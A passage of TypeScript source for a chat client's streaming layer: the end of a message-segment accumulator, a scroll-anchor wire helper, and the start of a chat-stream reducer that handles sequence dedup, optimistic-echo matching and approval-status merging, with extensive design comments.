Complete a context compaction segment\n   */\n  completeContextCompaction(summary?: string): MessageSegment[] {\n    const existingIndex = this.segments.findIndex(\n      (s): s is ContextCompactionSegment => s.type === 'context_compaction' && s.status === 'started',\n    );\n\n    const completedSegment: ContextCompactionSegment = {\n      type: 'context_compaction',\n      status: 'completed',\n      summary,\n    };\n\n    if (existingIndex !== -1) {\n      this.segments[existingIndex] = completedSegment;\n    } else {\n      this.segments.push(completedSegment);\n    }\n\n    return this.getSegments();\n  }\n\n  /**\n   * Add an error segment\n   */\n  addError(title: string, details?: string): MessageSegment[] {\n    this.segments.push({ type: 'error', title, details });\n    return this.getSegments();\n  }\n\n  /**\n   * Reset and replay a full segment array through the accumulator.\n   */\n  replaySegments(segments: MessageSegment[]): MessageSegment[] {\n    this.reset();\n    for (const segment of segments) {\n      switch (segment.type) {\n        case 'text':\n          if (segment.text) this.appendText(segment.text);\n          break;\n        case 'thinking':\n          if (segment.text) this.appendThinking(segment.text);\n          break;\n        case 'ask':\n          this.addAsk(segment.question, segment.options);\n          break;\n        case 'tool_execution':\n          this.addToolExecution(segment);\n          break;\n        case 'approval_request': {\n          const { data, status } = segment;\n          this.addApprovalRequest(\n            data.requestId || '',\n            data.command,\n            data.explanation,\n            data.approvalType || '',\n            status,\n            data.fields,\n          );\n          break;\n        }\n        case 'approval_batch': {\n          const { data, status, resolvedByName } = segment;\n          this.addApprovalBatch(\n            data.approvalRequestId,\n            data.approvalType,\n            data.toolCalls,\n            status,\n            data.executions,\n            resolvedByName,\n          );\n          break;\n        }\n        case 'escalation_offer': {\n          const { data, status, resolvedByName } = segment;\n          this.addEscalationOffer(data.offerId, data.text, data.origin, status, resolvedByName);\n          break;\n        }\n        case 'ticket_escalated':\n          this.addTicketEscalated(segment.data);\n          break;\n        case 'ticket_event':\n          this.addTicketEvent(segment.data, segment.streamSeq, segment.occurredAt);\n          break;\n        case 'error':\n          this.addError(segment.title, segment.details);\n          break;\n        case 'context_compaction':\n          if (segment.status === 'started') {\n            this.addContextCompaction();\n          } else if (segment.status === 'completed') {\n            this.completeContextCompaction(segment.summary);\n          }\n          break;\n      }\n    }\n    return this.getSegments();\n  }\n\n  /**\n   * Check if segments have any content\n   */\n  hasContent(): boolean {\n    return this.segments.length > 0;\n  }\n\n  /**\n   * Get the number of segments\n   */\n  get length(): number {\n    return this.segments.length;\n  }\n}\n\n/**\n * Create a new accumulator instance with callbacks\n */\nexport function createMessageSegmentAccumulator(callbacks?: AccumulatorCallbacks): MessageSegmentAccumulator {\n  return new MessageSegmentAccumulator(callbacks);\n}\n","/**\n * Wire glue + canonical const for the per-message `scrollAnchor`\n * render hint.\n *\n * The actual `SCROLL_ANCHOR` const + `ScrollAnchor` type lives in\n * `../types/message.types.ts` (it's part of the `Message` shape). This\n * module re-exports them alongside the wire-key + a `parseScrollAnchor`\n * narrower so server-side code that emits the metadata leading frame and\n * client-side code that consumes it agree on the literal value AND the\n * key on the wire frame.\n *\n * Consumed by:\n *   - SERVER: emits the field into the metadata leading frame\n *     (`...(scrollAnchor ? { [SCROLL_ANCHOR_WIRE_KEY]: x } : {})`).\n *   - CLIENT: parses each leading frame and feeds the value through\n *     `parseScrollAnchor` before storing it for the chat-message-list\n *     to consume. Malformed wire values return `null` and are filtered\n *     by metadata-merge logic — they never clobber a prior value.\n */\n\nimport { SCROLL_ANCHOR, type ScrollAnchor } from '../types/message.types';\n\nexport { SCROLL_ANCHOR, type ScrollAnchor };\n\n/** Wire-frame key for the `scrollAnchor` field on the metadata leading\n *  frame. Used as a computed property name on both the emit side\n *  (server) and the parse side (client) so a rename is one-file. */\nexport const SCROLL_ANCHOR_WIRE_KEY = 'scrollAnchor' as const;\n\n/** Narrow + validate a wire-supplied value. Returns the literal when\n *  it matches one of the registry's known values; returns `null`\n *  otherwise (which the metadata-merge null-skip filter then drops). */\nexport function parseScrollAnchor(raw: unknown): ScrollAnchor | null {\n  return raw === SCROLL_ANCHOR.TOP || raw === SCROLL_ANCHOR.BOTTOM ? raw : null;\n}\n","/**\n * createChatStreamReducer — THE master chat-stream reader (Phase 3 of the\n * chat unification). One accumulation path for every event source:\n *\n *   SSE bytes  → createSseFrameDecoder ─┐\n *   NATS chunk → decodeNatsChunk       ─┼→ ChatStreamEvent → reducer.apply()\n *   history    → decodeHistoricalMessageData (per-item vocabulary) →\n *                envelope grouping → reducer.initializeWithState()\n *\n * The reducer absorbs, verbatim, the semantics that used to be spread over\n * three layers:\n *   - `MessageSegmentAccumulator` stays as the internal per-turn segment\n *     kernel (instantiated here — its goldens remain valid);\n *   - the deleted `useRealtimeChunkProcessor`'s switch (in-stream vs post-END\n *     routing, agent-busy outside a message window, escalated approvals,\n *     compaction upsert, direct-mode barrier) — surfaced as\n *     `ChatReducerEffect`s for consumers that want the callback contract;\n *   - `useNatsChatAdapter`'s message-mutation callbacks (trailing-assistant\n *     replace/append, compaction upsert, cross-message tool merge, approval\n *     flip, participant dedup) — now the reducer's own state transitions via\n *     `./message-mutations`;\n *   - `useSseChatAdapter`/`useChat`'s SSE turn kernel (cumulative text\n *     replace, front-inserted thinking, approval card, `decision_resolved`\n *     receipt, sendIdx-keyed sources/meta maps).\n *\n * Idempotency:\n *   - events whose `seq` ≤ the last applied seq are dropped (per instance);\n *   - participant rows additionally dedup via a one-shot optimistic-echo\n *     list and a short same-author content window (seq-less transports);\n *   - value-level no-op merges return prior references (see\n *     `message-mutations.ts`).\n *\n * TRANSPORT ORDERING ASSUMPTION (the seq gate, see `apply()`): every\n * transport feeding this reducer is AT-LEAST-ONCE and IN-ORDER. JetStream\n * redelivers (hence the gate) but never reorders within a stream, and the\n * catchup back-fill replays a monotonically increasing range. So `seq <=\n * lastAppliedSeq` means \"already applied\", and dropping is correct.\n * A genuinely out-of-order arrival (seq 5 then 4) would be discarded\n * PERMANENTLY — accepted deliberately: no transport here reorders, and an\n * out-of-order buffer would add latency + unbounded state to guard against\n * a case that cannot occur. If a reordering transport is ever added, this\n * gate is the place that must change (do not paper over it downstream).\n *\n * `resolvePendingApprovalForExecution` (the accumulator's implicit\n * approve-on-execution) is reachable ONLY on `transport: 'nats'` — the SSE\n * kernel never routes tool executions through the accumulator.\n *\n * PURE + framework-free: no React, no timers, no network. Side effects the\n * UI needs (approve/reject POSTs) enter as opaque callbacks stamped onto\n * approval segments.\n */\n\nimport { escapeThinkingTags } from '../../../chat-protocol/decode';\nimport { errorDetailsMessage } from '../../../chat-protocol/events';\nimport {\n  CHAT_OWNER_ADMIN,\n  type ChatStreamEvent,\n  type ApprovalResolvedEvent,\n  type ChatMetadataEvent,\n  type ParticipantEvent,\n  type UsageEvent,\n} from '../../../chat-protocol/events';\nimport { mergeSourceMetadata, type SourceMetadata } from '../../../chat-protocol/source-metadata';\nimport type {\n  ApprovalBatchSegment,\n  ApprovalRequestSegment,\n  ChatApprovalStatus,\n  MessageSegment,\n  PendingToolCallData,\n  SegmentsUpdateMetadata,\n  ToolExecutionSegment,\n  ExecutingToolState,\n} from '../types';\nimport type { PendingApproval } from '../types/processing.types';\nimport type {\n  DialogTokenUsage,\n  StreamingPhase,\n  UnifiedChatMessage,\n  UnifiedUsageBreakdown,\n} from '../types/unified-chat-state.types';\nimport { approvalDisplaysInline } from '../utils/approval-display';\nimport {\n  type MessageSegmentAccumulator,\n  createMessageSegmentAccumulator,\n  type AccumulatorCallbacks,\n} from '../utils/message-segment-accumulator';\nimport { parseScrollAnchor, type ScrollAnchor } from '../utils/scroll-anchor';\nimport { getCommandText } from '../utils/tool-call-helpers';\nimport {\n  CONTENT_DEDUP_WINDOW,\n  SYSTEM_DEDUP_WINDOW,\n  appendToTrailingAssistant,\n  applyToolExecutionToMessages,\n  hasRecentMessage,\n  mergeToolExecutionIfPresent,\n  nextId,\n  projectApprovalResolutionToMessages,\n  projectBatchRowFailureToMessages,\n  projectBatchStatusToMessages,\n  updateTrailingAssistant,\n  upsertTrailingCompaction,\n} from './message-mutations';\n\n// =============================================================================\n// Public types\n// =============================================================================\n\n/** Per-turn metadata extracted from the streamed metadata/usage frames\n *  (SSE transport). Canonical home — `use-sse-chat-adapter` re-exports it. */\nexport interface ChatTurnMeta {\n  provider: string | null;\n  modelLabel: string | null;\n  contextWindowMaxTokens: number | null;\n  /** Input tokens (from usage:start). Includes cached tokens. */\n  inputTokens: number | null;\n  /** Output tokens (from the trailing usage frame). */\n  outputTokens: number | null;\n  /** Cache hit % (read / total-input × 100). Only known after stream end. */\n  cacheHitRatePct: number | null;\n  /** Cross-call usage breakdown extracted from the trailing usage frame. */\n  breakdown: UnifiedUsageBreakdown | null;\n  /** Per-message viewport-positioning hint. */\n  scrollAnchor: ScrollAnchor | null;\n  routedComplexity: string | null;\n  routedThinkingBudget: number | null;\n}\n\n/** Single source of truth for a fresh `ChatTurnMeta` row. */\nexport function createEmptyTurnMeta(): ChatTurnMeta {\n  return {\n    provider: null,\n    modelLabel: null,\n    contextWindowMaxTokens: null,\n    inputTokens: null,\n    outputTokens: null,\n    cacheHitRatePct: null,\n    breakdown: null,\n    scrollAnchor: null,\n    routedComplexity: null,\n    routedThinkingBudget: null,\n  };\n}\n\n/** SSE per-send maps, keyed by the send counter (`sendIdx`). Each user send\n *  produces ONE server-side sources entry but can fan out to MULTIPLE\n *  assistant messages client-side — the adapter maps every following\n *  assistant message back to its send's entry. */\nexport interface ChatTurnMetaState {\n  meta: Map<number, ChatTurnMeta>;\n  sources: Map<number, unknown[]>;\n  sendCount: number;\n}\n\nexport interface ChatReducerState {\n  messages: UnifiedChatMessage[];\n  streamingPhase: StreamingPhase;\n  turnMeta: ChatTurnMetaState;\n  dialogTokenUsage?: DialogTokenUsage | null;\n  liveModel?: {\n    provider: string | null;\n    modelLabel: string | null;\n    contextWindowMaxTokens: number | null;\n  } | null;\n  approvalStatuses: Record<string, ChatApprovalStatus>;\n}\n\n/** Escalated-approval bookkeeping entry (mirrors the legacy processor). */\nexport interface EscalatedApprovalData {\n  command: string;\n  explanation?: string;\n  approvalType: string;\n  toolCalls?: PendingToolCallData[];\n}\n\n/**\n * Callback-visible effect produced by `apply()`. Names + args mirror the\n * legacy `RealtimeChunkCallbacks` contract 1:1 — the contract the deleted\n * `useRealtimeChunkProcessor` wrapper exposed, now pinned directly by\n * `__tests__/chat-stream-reducer-golden.test.ts`.\n *\n * `segments-after-approval-result` is the one conditional emission: the\n * legacy processor emitted a cumulative `onSegmentsUpdate` for a\n * non-escalated APPROVAL_RESULT only when the consumer had NOT wired\n * `onApprovalResolved` — the effect sink resolves that at dispatch time.\n */\nexport interface ChatReducerEffect {\n  name:\n    | 'onStreamStart'\n    | 'onStreamEnd'\n    | 'onMetadata'\n    | 'onSegmentsUpdate'\n    | 'onError'\n    | 'onUserMessage'\n    | 'onTokenUsage'\n    | 'onDirectMessage'\n    | 'onSystemMessage'\n    | 'onEscalatedApproval'\n    | 'onEscalatedApprovalResult'\n    | 'onApprovalResolved'\n    | 'onEscalationOfferResolved'\n    | 'onToolExecuted'\n    | 'onAgentBusy'\n    | 'onDialogClosed'\n    | 'onTicketEvent'\n    | 'segments-after-approval-result';\n  args: unknown[];\n}\n\nexport interface ChatStreamReducerOptions {\n  /** Which transport's turn kernel drives `apply()`. Default `'nats'`. */\n  transport?: 'sse' | 'nats';\n  /** Seed for the approval-status map (request-id → status). */\n  approvalStatuses?: Record<string, ChatApprovalStatus>;\n  /** Batch APPROVAL_REQUESTs render as one card (default true) or unfold. */\n  batchApprovalsEnabled?: boolean;\n  /** Approval types displayed inline; others escalate. Default ['CLIENT']. */\n  displayApprovalTypes?: string[];\n  /** Opaque approve/reject handlers stamped onto approval segments. */\n  callbacks?: AccumulatorCallbacks;\n  /** Engage the direct-mode barrier optimistically (host-known takeover). */\n  isDirectMode?: boolean;\n  /**\n   * Legacy-processor parity knob: post-MESSAGE_END tool chunks route\n   * cross-message (`onToolExecuted` effect + `applyToolExecutionToMessages`)\n   * only when the consumer wired the cross-message updater; otherwise they\n   * fall through the accumulator like the pre-callback code path. Default\n   * true (both first-party adapters wire it).\n   */\n  crossMessageToolRouting?: boolean;\n  /** Effect sink for callback-contract consumers (compat wrapper). */\n  onEffect?: (effect: ChatReducerEffect) => void;\n  /** Notified after every state mutation (the dialog store wires this). */\n  onChange?: () => void;\n  /**\n   * Whether an ADMIN-authored `MESSAGE_REQUEST` may be consumed as OUR OWN\n   * optimistic echo (see `pushOptimisticSend`). Default `false`.\n   *\n   * Who the local operator is decides this, and it differs per host:\n   *  - Hub website chat / ticket CLIENT side: the local user is NEVER the\n   *    admin, so an ADMIN-authored inbound row is a technician's reply and\n   *    must ALWAYS render. Consuming it as an echo would silently delete a\n   *    real message whenever its text happened to match ours. → `false`.\n   *  - OpenFrame product app (Mingo + ticket ADMIN side): the operator IS\n   *    the admin, so their own sends echo back as ADMIN and MUST be\n   *    deduped, or every message renders twice. → `true`.\n   *\n   * Only ever applies to text the host itself registered via\n   * `pushOptimisticSend`, so enabling it cannot drop a message the host\n   * did not just send.\n   */\n  ownEchoIncludesAdmin?: boolean;\n  /**\n   * The LOCAL user's id, either as a value or as a GETTER resolved at event\n   * time. When it resolves to a value, an inbound `MESSAGE_REQUEST` that\n   * DECLARES a different author (`event.userId !== selfUserId`) may not be\n   * consumed as our own optimistic echo.\n   *\n   * Without it the echo list matches on RAW TEXT alone, which on a shared\n   * ADMIN side (two technicians in one ticket, `ownEchoIncludesAdmin: true`)\n   * can silently delete a colleague's message: if OUR send never echoes back,\n   * its entry stays armed and the next identical text from anyone — canned\n   * replies like \"ok\" / \"done\" / \"on it\" make this routine — is swallowed.\n   *\n   * The guard FAILS OPEN, deliberately: a row that carries NO `userId` is not\n   * \"someone else's\", it is UNATTRIBUTED, and rejecting it would disable\n   * dedup entirely (→ every send rendered twice) on any transport whose\n   * decoder does not surface the author id. Such a row falls back to the\n   * text + `OWN_ECHO_TTL_MS` behaviour instead, and a one-shot `console.warn`\n   * makes the missing id observable.\n   *\n   * Pass a FUNCTION whenever the id can change or arrive late (auth\n   * rehydration, logout / login-as-another-user without a reload): reducers\n   * are retained for the store's lifetime, so a value captured at creation\n   * time can go stale and silently disable the guard.\n   */\n  selfUserId?: string | (() => string | undefined);\n}\n\n/**\n * How long an un-consumed optimistic-echo entry stays armed **on the\n * UNATTRIBUTED path**. Long enough to cover any realistic send → server-echo\n * round trip, short enough that a send whose echo never lands cannot swallow\n * an unrelated identical message later in the conversation.\n *\n * A row that is DECLARED ours (`selfUserId` set and `event.userId ===\n * selfUserId`) gets the LONGER `OWN_ECHO_AUTHOR_TTL_MS` instead — see there.\n */\nexport const OWN_ECHO_TTL_MS = 30_000;\n\n/**\n * How long an un-consumed entry stays armed on the AUTHOR-MATCHED path\n * (`selfUserId` set, inbound row declares the same author).\n *\n * The author check rules out CROSS-technician theft, but NOT the same user on\n * a second tab or device: a row THIS tab did not originate looks exactly like\n * an author-matched echo. So the entry still needs an upper bound — without\n * one, a send whose echo never lands (dropped frame, backend text\n * normalization, reconnect gap) leaves the entry armed for the reducer's\n * whole lifetime, and the next identical text from the same user on ANOTHER\n * tab is silently swallowed. With `MAX_PENDING_ECHOES` armed slots and canned\n * replies (\"ok\", \"done\", \"on it\") being exactly the recurring strings, that is\n * a routine message-LOSS bug, strictly worse than the duplicate row it trades\n * against.\n *\n * Ten minutes is the bound: generously longer than the slow echo the author\n * path exists to protect (a JetStream catch-up replay after a network gap\n * arrives long after the send, and its rows carry `seq`, so the seq-less\n * content-dedup fallback cannot rescue it), and far shorter than the\n * \"same text again an hour later\" window in which a stale entry does damage.\n *\n * It is a BACKSTOP, not the usual bound: `turn-end` disarms entries much\n * sooner (see `purgeEchoesAtTurnEnd`). The ten minutes only ever apply to a\n * dialog that never reports a turn boundary at all.\n */\nexport const OWN_ECHO_AUTHOR_TTL_MS = 10 * 60_000;\n\n/** Cap on simultaneously-armed echo entries (a backend that never echoes must\n *  not grow the list without bound). */\nconst MAX_PENDING_ECHOES = 5;\n\n/** One armed optimistic-echo entry: the sent text and the wall-clock ms it was\n *  armed at. Exported because the LRU-eviction round trip PARKS these (see\n *  `getPendingEchoes` / `InitializeExtras.pendingEchoes`). */\nexport interface PendingEcho {\n  text: string;\n  at: number;\n}\n\nexport interface InitializeExtras {\n  existingSegments?: MessageSegment[];\n  pendingApprovals?: Map<string, PendingApproval>;\n  executingTools?: Map<string, ExecutingToolState>;\n  escalatedApprovals?: Map<string, EscalatedApprovalData>;\n  /**\n   * Approval statuses PARKED from a previous instance of this key (LRU\n   * eviction hands them to `onEvict`). Merged with the same state-monotonic\n   * precedence as `mergeApprovalStatuses` — a resolved approval must not come\n   * back as actionable, which is exactly why `resetForDialogSwitch` preserves\n   * this map rather than clearing it.\n   */\n  approvalStatuses?: Record<string, ChatApprovalStatus>;\n  /**\n   * Seq cursor PARKED from a previous instance of this key. A recreated\n   * reducer starts at `-Infinity`, so a host that replays from its own cursor\n   * would re-apply already-applied events; restoring the parked value keeps\n   * `apply()`'s idempotency gate intact across an eviction. Only ever moves\n   * the gate FORWARD (a lower value is ignored).\n   */\n  lastAppliedSeq?: number;\n  /**\n   * Armed optimistic-echo entries PARKED from a previous instance of this key.\n   * Without them, a key LRU-evicted between `pushOptimisticSend` and its\n   * `MESSAGE_REQUEST` echo leaves the replacement reducer with nothing armed,\n   * so the echo renders a DUPLICATE user bubble. Entries already past\n   * `OWN_ECHO_AUTHOR_TTL_MS` are dropped on restore (an expired entry could\n   * only swallow an unrelated identical message), and the list is capped at\n   * `MAX_PENDING_ECHOES` exactly as the live path is.\n   */\n  pendingEchoes?: readonly PendingEcho[];\n  /**\n   * Whether the restored thread is a RESUMED dialog (a `MESSAGE_START` already\n   * fired server-side), which makes post-stream continuation chunks append\n   * into the existing bubble instead of taking the cold-start cumulative path.\n   * Defaults to \"the restored thread is non-empty\" — an eviction restore of a\n   * key that never streamed must NOT claim it did, or a cold text-delta with\n   * no preceding `turn-start` appends into a bubble that was never spawned.\n   * Pass explicitly only to override that derivation.\n   */\n  resumed?: boolean;\n  /**\n   * Whether the restored tail means the AGENT IS STILL WORKING — as opposed to\n   * blocked on the user. Raises an `idle` reducer to `thinking` on restore\n   * (same rule as a live `onAgentBusy`: an open stream keeps the phase), which\n   * is what puts the activity indicator back.\n   *\n   * Nothing on the wire restores this: the phase machine is driven by events,\n   * and a run's EXECUTING chunk is long past by the time a reload happens while\n   * its EXECUTED one may be minutes away. Derived once by\n   * `extractIncompleteMessageState` so every host agrees on the distinction —\n   * a PENDING approval is the opposite state and must NOT spin.\n   */\n  agentBusy?: boolean;\n}\n\nexport interface BeginSseSendOptions {\n  text: string;\n  hidden?: boolean;\n  userName?: string;\n  assistantName?: string;\n  assistantAvatar?: string;\n}\n\n// =============================================================================\n// Reducer\n// =============================================================================\n\nexport interface ChatStreamReducer {\n  /** Apply one normalized stream event. */\n  apply(event: ChatStreamEvent): void;\n  /** Current immutable state snapshot (stable identity between mutations). */\n  readonly state: ChatReducerState;\n  /** Full reset — thread, per-turn kernel, dedup sets, seq gate, maps. */\n  reset(): void;\n  /**\n   * Seed the thread (history hydration / persisted-state rehydration) and\n   * optionally the per-turn kernel + escalated approvals (resume of an\n   * incomplete turn). `messages: null` keeps the current thread. Escalated\n   * entries are re-surfaced via `onEscalatedApproval` effects. Marks the\n   * instance as having streamed so continuation chunks append.\n   */\n  initializeWithState(messages: UnifiedChatMessage[] | null, extras?: InitializeExtras): void;\n\n  // ── Thread commands (adapter-driven, not wire events) ──────────────────\n  setMessages(messages: UnifiedChatMessage[]): void;\n  prependMessages(messages: UnifiedChatMessage[]): void;\n  /** Optimistic local send: user bubble (+ echo record) + assistant placeholder. */\n  pushOptimisticSend(text: string, hidden?: boolean): void;\n  /** Wipe thread + per-turn kernel, keep approval statuses (legacy clear). */\n  clearThread(): void;\n  /** Per-dialog reset (keeps approval statuses — request-ids are global). */\n  resetForDialogSwitch(): void;\n\n  // ── SSE turn commands ───────────────────────────────────────────────────\n  beginSseSend(options: BeginSseSendOptions): void;\n  endSseTurn(): void;\n  failSseTurn(errorMessage: string): void;\n  seedSseMaps(seed: { sources?: Array<[number, unknown[]]>; sendCount?: number }): void;\n\n  // ── Phase / status commands ─────────────────────────────────────────────\n  setPhase(phase: StreamingPhase): void;\n  setApprovalStatus(requestId: string, status: ChatApprovalStatus | null): void;\n  /**\n   * CANONICAL merge of a PERSISTED status map (host-side store, history\n   * hydration, dialog-switch top-up) into this reducer's map.\n   *\n   * Precedence is STATE-MONOTONIC, not source-based, because either side can\n   * be the stale one:\n   *  - persisted lags (a snapshot taken before the stream resolved the\n   *    request) → the stream's resolved status must win, or a just-approved\n   *    card would be downgraded back to `pending` and re-arm its buttons;\n   *  - the STREAM lags (this tab saw the request, the operator resolved it in\n   *    a SECOND TAB, and the persisted map is the one carrying the truth) →\n   *    the persisted resolution must win, or the card stays actionable and\n   *    invites a second approve on an already-resolved request.\n   *\n   * With statuses being exactly `pending | approved | rejected | cancelled`,\n   * \"resolved beats pending\" is a total order that gets both directions\n   * right: take the persisted value when ours is `pending` and theirs isn't;\n   * keep ours otherwise. Persisted entries still fill in every request-id the\n   * stream hasn't seen (other dialogs, pre-session history).\n   */\n  mergeApprovalStatuses(persisted: Record<string, ChatApprovalStatus>): void;\n  setDirectMode(isDirectMode: boolean): void;\n  setDialogTokenUsage(usage: DialogTokenUsage | null): void;\n  /** +1/-1 windows during catchup replay (suppresses agent-busy locks). */\n  adjustAgentBusySuppression(delta: number): void;\n  armAdoptTrailingAssistant(value: boolean): void;\n\n  // ── Cross-side projections (dialog-store fan-out) ───────────────────────\n  projectApprovalResolution(requestId: string, status: ChatApprovalStatus, resolvedByName?: string | null): void;\n  projectToolExecution(segment: ToolExecutionSegment): void;\n\n  /**\n   * The seq gate's current value (`-Infinity` before anything seq-carrying was\n   * applied). Not part of `state` — it is bookkeeping, not render input — but\n   * a host that PARKS a reducer (LRU eviction, dialog swap) needs it to\n   * restore idempotency on the recreated instance via\n   * `initializeWithState(messages, { lastAppliedSeq })`.\n   */\n  getLastAppliedSeq(): number;\n\n  /**\n   * Currently-armed optimistic-echo entries. Same rationale as\n   * `getLastAppliedSeq`: not render input, but a host that PARKS a reducer\n   * needs them to restore echo dedup on the recreated instance via\n   * `initializeWithState(messages, { pendingEchoes })` — otherwise an echo\n   * in flight across the eviction renders a duplicate user bubble.\n   */\n  getPendingEchoes(): readonly PendingEcho[];\n\n  // ── Legacy processor surface (compat wrapper) ───────────────────────────\n  getSegments(): MessageSegment[];\n  updateApprovalStatus(requestId: string, status: ChatApprovalStatus, resolvedByName?: string | null): MessageSegment[];\n  getPendingEscalated(): Map<string, EscalatedApprovalData>;\n}\n\n// Actions allowed through once the dialog is in direct mode. Everything else\n// is an AI-assistant event and gets dropped — an allowlist so any future\n// assistant event is blocked by default.\nfunction isDirectModeAllowed(event: ChatStreamEvent): boolean {\n  return event.type === 'participant' || event.type === 'dialog-closed';\n}\n\n/** The trailing usage frame's `breakdown` is an OPAQUE wire blob (see\n *  `UsageEvent.telemetry`); these three readers apply the same\n *  truthiness/typeof gates the legacy parser did, but hand back values that\n *  actually match `UnifiedUsageBreakdown`. */\nfunction isWireRecord(value: unknown): value is Record<string, unknown> {\n  return typeof value === 'object' && value !== null;\n}\n\nfunction readTokenPair(value: unknown): { input: number; output: number } | undefined {\n  if (!isWireRecord(value) || typeof value.input !== 'number') return undefined;\n  // `output` was previously copied through unchecked — a frame that omitted it\n  // put `undefined` into a `number` field and NaN'd any downstream sum.\n  return { input: value.input, output: typeof value.output === 'number' ? value.output : 0 };\n}\n\nfunction readRoutedAnswer(value: unknown): { model: string; complexity: string; thinkingBudget: number } | undefined {\n  if (!isWireRecord(value) || typeof value.model !== 'string') return undefined;\n  return {\n    model: value.model,\n    complexity: typeof value.complexity === 'string' ? value.complexity : '',\n    thinkingBudget: typeof value.thinkingBudget === 'number' ? value.thinkingBudget : 0,\n  };\n}\n\nexport function createChatStreamReducer(options: ChatStreamReducerOptions = {}): ChatStreamReducer {\n  const {\n    transport = 'nats',\n    batchApprovalsEnabled = true,\n    displayApprovalTypes = ['CLIENT'],\n    callbacks = {},\n    crossMessageToolRouting = true,\n    onEffect,\n    onChange,\n  } = options;\n\n  // ── Mutable internals ──────────────────────────────────────────────────\n  let messages: UnifiedChatMessage[] = [];\n  let streamingPhase: StreamingPhase = 'idle';\n  let dialogTokenUsage: DialogTokenUsage | null = null;\n  let liveModel: ChatReducerState['liveModel'] = null;\n  let approvalStatuses: Record<string, ChatApprovalStatus> = {\n    ...(options.approvalStatuses ?? {}),\n  };\n\n  const accumulator: MessageSegmentAccumulator = createMessageSegmentAccumulator(callbacks);\n\n  // Stream-window flags (chunk-processor parity).\n  let isInStream = false;\n  let hasEverStreamed = false;\n\n  // Direct-mode barrier.\n  let directModeFlag = options.isDirectMode ?? false;\n  let sawDirectMessage = false;\n  let directTeardownFired = false;\n\n  // Escalated approvals (single or batch).\n  const pendingEscalated = new Map<string, EscalatedApprovalData>();\n\n  // Idempotency. The per-participant seen-seq set that used to live here was\n  // REMOVED as redundant: `apply()`'s global gate already drops any event\n  // whose seq was applied before, so a seq-carrying participant row can never\n  // reach the handlers twice.\n  let lastAppliedSeq = Number.NEGATIVE_INFINITY;\n  let pendingEchoTexts: PendingEcho[] = [];\n  /** `Date.now()` of the last observed `turn-start`; 0 = none seen yet.\n   *  Bounds `purgeEchoesAtTurnEnd` — see there. */\n  let turnStartedAt = 0;\n\n  /** Consume a one-shot optimistic-echo entry for `text`. Returns true when\n   *  this inbound row IS our own echo and must not render.\n   *\n   *  `authorMatched` widens the expiry window (`OWN_ECHO_AUTHOR_TTL_MS` vs\n   *  `OWN_ECHO_TTL_MS`) — it does NOT remove it. The author check rules out a\n   *  colleague's message, not the same user's second tab, so an entry whose\n   *  echo never landed must still age out or it eventually swallows a real\n   *  message. `MAX_PENDING_ECHOES` bounds growth on both paths. */\n  function consumeOwnEcho(text: string, authorMatched = false): boolean {\n    if (pendingEchoTexts.length === 0) return false;\n    const now = Date.now();\n    // Purge at the WIDEST bound only: a short-TTL (unattributed) lookup must\n    // not evict an entry that a later author-matched row is still entitled to\n    // consume. The per-path window is applied at match time instead.\n    pendingEchoTexts = pendingEchoTexts.filter(e => now - e.at < OWN_ECHO_AUTHOR_TTL_MS);\n    const ttl = authorMatched ? OWN_ECHO_AUTHOR_TTL_MS : OWN_ECHO_TTL_MS;\n    const idx = pendingEchoTexts.findIndex(e => e.text === text && now - e.at < ttl);\n    if (idx === -1) return false;\n    pendingEchoTexts.splice(idx, 1);\n    return true;\n  }\n\n  /** Disarm every echo entry that was armed BEFORE the turn this `turn-end`\n   *  closes (i.e. before the last observed `turn-start`).\n   *\n   *  A `turn-end` is proof the server finished processing everything it had\n   *  accepted up to that point, so an echo for a send made BEFORE the turn\n   *  opened that has not landed by now never will (dropped frame, backend\n   *  text normalization, reconnect gap). Keeping the entry armed for the full\n   *  `OWN_ECHO_AUTHOR_TTL_MS` preserves up to ten minutes in which the same\n   *  user's identical send from a SECOND TAB is silently swallowed — the\n   *  message-LOSS failure this module ranks strictly worse than the duplicate\n   *  row it trades against. Draining at the turn boundary cuts that window\n   *  from ten minutes to one turn.\n   *\n   *  The purge is SELECTIVE (`at > turnStartedAt`) rather than unconditional:\n   *  an entry armed DURING the turn being ended is not stale by the argument\n   *  above — its echo is still in flight — and dropping it duplicates the\n   *  user's bubble. Such entries survive to their normal author TTL; entries\n   *  from earlier turns still drain here.\n   *\n   *  WHAT THIS COVERS, EXACTLY. `turnStartedAt` is the ARRIVAL wall-clock of\n   *  the last `turn-start` this reducer saw, NOT the event's own time: the\n   *  normalized event union carries no timestamp. `ChatStreamEventBase` has a\n   *  single optional field, `seq` (JetStream `streamSeq`, lifted by\n   *  `decodeNatsChunk`); the SSE decoder emits a bare `{ type: 'turn-start' }`\n   *  with no envelope at all. The boundary is therefore an ARRIVAL order, and\n   *  only these cases are actually handled:\n   *\n   *  - COVERED — a `turn-end` with NO observed `turn-start` purges nothing\n   *    (`turnStartedAt` starts at 0; there is no boundary to be stale\n   *    relative to). This is the approval-interrupt shape as the adapter\n   *    drives it — sending while an approval pends cancels the in-flight\n   *    turn, so the interrupted turn's `turn-end` lands after the new send\n   *    armed its entry — and any stale `turn-end` on a fresh reducer.\n   *  - COVERED — `turn-start` observed BEFORE the send, `turn-end` after: the\n   *    entry was armed past the boundary and survives.\n   *  - NOT COVERED — a reconnect catch-up replay that delivers BOTH a\n   *    pre-disconnect `turn-start` and its `turn-end` after the user has\n   *    already sent. The replayed `turn-start` restamps `turnStartedAt` to\n   *    now, so the following `turn-end` purges a still-live entry and the\n   *    echo renders a SECOND bubble. This is not fixable at this layer: with\n   *    no event-own timestamp, that interleaving is indistinguishable from\n   *    \"the send was queued mid-turn, and this reducer's own turn opened and\n   *    closed before the echo landed\" — a case the module deliberately\n   *    resolves toward the duplicate row rather than risk swallowing a real\n   *    message. `seq` does not disambiguate it either: a replay whose seqs\n   *    were already applied is dropped by `apply()`'s idempotency gate before\n   *    reaching here, so any replay that DOES reach here carries\n   *    strictly-increasing unseen seqs — exactly what a live turn carries.\n   *    Pinned by the \"a replayed turn boundary after a send duplicates the\n   *    bubble\" test. Fix it by giving the transport an event-own time, not by\n   *    widening the purge here.\n   *\n   *  `OWN_ECHO_AUTHOR_TTL_MS` remains the backstop for dialogs that never\n   *  report a turn boundary at all.\n   *\n   *  Same-millisecond ties break toward PURGING (`>`, not `>=`): a send and\n   *  the turn it opened share a timestamp, and that entry IS the pre-turn\n   *  one. A send made DURING a turn is a human action a turn-start later, so\n   *  it never ties in practice. */\n  function purgeEchoesAtTurnEnd(): void {\n    if (pendingEchoTexts.length === 0) return;\n    if 